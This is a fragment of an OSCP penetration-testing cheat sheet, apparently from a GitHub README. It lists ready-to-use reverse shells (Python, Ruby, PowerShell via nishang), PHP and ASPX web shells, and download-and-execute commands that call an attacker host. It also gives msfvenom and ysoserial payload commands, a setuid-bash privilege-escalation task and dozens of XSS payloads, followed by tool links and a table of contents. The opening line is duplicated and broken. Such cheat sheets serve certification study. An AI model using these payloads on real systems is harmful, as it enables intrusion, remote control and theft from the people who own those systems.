echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Web Shells

PHP Web Shell

<?php system($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo system($_REQUEST['shell']): ?>

nishang

cd path/to/nishang/Shells/
cp Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1

tail -3 Invoke-PowerShellTcp.ps1
}

Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>

powershell "IEX(New-Object Net.Webclient).downloadString('http://<LHOST>:<LPORT>/Invoke-PowerShellTcp.ps1')"

Shikata Ga Nai

msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/shell.exe

ysoserial

java -jar ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc <LHOST> <LPORT> -e /bin/sh' | base64 -w 0
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections4 "$jex" > /tmp/$filename.session

Templates

ASPX Web Shell

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->

Bad YAML

- hosts: localhost
  tasks:
    - name: badyml
      command: chmod +s /bin/bash

Exploit Skeleton Python Script

#!/usr/bin/python

import socket,sys

address = '127.0.0.1'
port = 9999
buffer = #TBD

try:
	print '[+] Sending buffer'
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((address,port))
	s.recv(1024)
	s.send(buffer + '\r\n')
except:
 	print '[!] Unable to connect to the application.'
 	sys.exit(0)
finally:
	s.close()

JSON POST Request

POST /<path> HTTP/1.1
Host: <RHOST>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 95
Connection: close

{
  "auth":{
    "name":"<USERNAME>",
    "password":"<PASSWORD>"
  },
  "filename":"<FILE>"
}

XSS

Basic Payloads

<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script src="http://<LHOST>/<FILE>"></script>

IMG Payloads

<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

SVG Payloads

<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)

DIV Payloads

<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

Name	URL
Swaks	https://github.com/jetmore/swaks
CyberChef	https://gchq.github.io/CyberChef/

Name	URL
Nmap	https://github.com/nmap/nmap
pspy	https://github.com/DominicBreuker/pspy
enum4linux	https://github.com/CiscoCXSecurity/enum4linux
BloodHound	https://github.com/BloodHoundAD/BloodHound
BloodHound Python	https://github.com/fox-it/BloodHound.py

Name	URL
Sparta	https://github.com/SECFORCE/sparta
nikto	https://github.com/sullo/nikto

Files

README.md

Latest commit

History

README.md

File metadata and controls

OSCP Cheat Sheet

Table of Contents

Basics

Information Gathering

Vulnerability Analysis

Web Application Analysis

Password Attacks

Reverse Engineering

Exploitation Tools

Post Exploitation

CVEs

Exploiting

Payloads

Wordlists

Social Media Resources

Commands

Basics

CentOS

Certutil

Chisel

gcc

Netcat

PHP Webserver

Ping

Python Webserver

RDP

SSH

tmux

Upgrading Shells

vi

Windows Command Formatting

Information Gathering

Nmap

DNS

Reverse DNS

ldapsearch

sslyze

SMB / NetBIOS

JAWS

Vulnerability Analysis

finger

Web Application Analysis

Asset Discovery

ffuf

API Fuzzing

Looging for LFI

Fuzzing with PHP Session ID

Recursion

File Extensions

No 404 Header

Param Mining

Rate Limiting

IDOR Testing

Script for IDOR Testing

Use Script above for Base64 decoding

MD5 Discovery using the Script

Virtual Host Discovery

Massive File Extension Discovery

Gobuster

Common File Extensions

Common Picture Extensions

POST Requests

DNS Recon

VHost Discovery

Specifiy User Agent

Local File Inclusion (LFI)

Until php 5.3

Encoded Traversal Strings

Base64 Execution Bypass

Linux Files

Windows Files

wfuzz

Write to File

Custom Scan with limited Output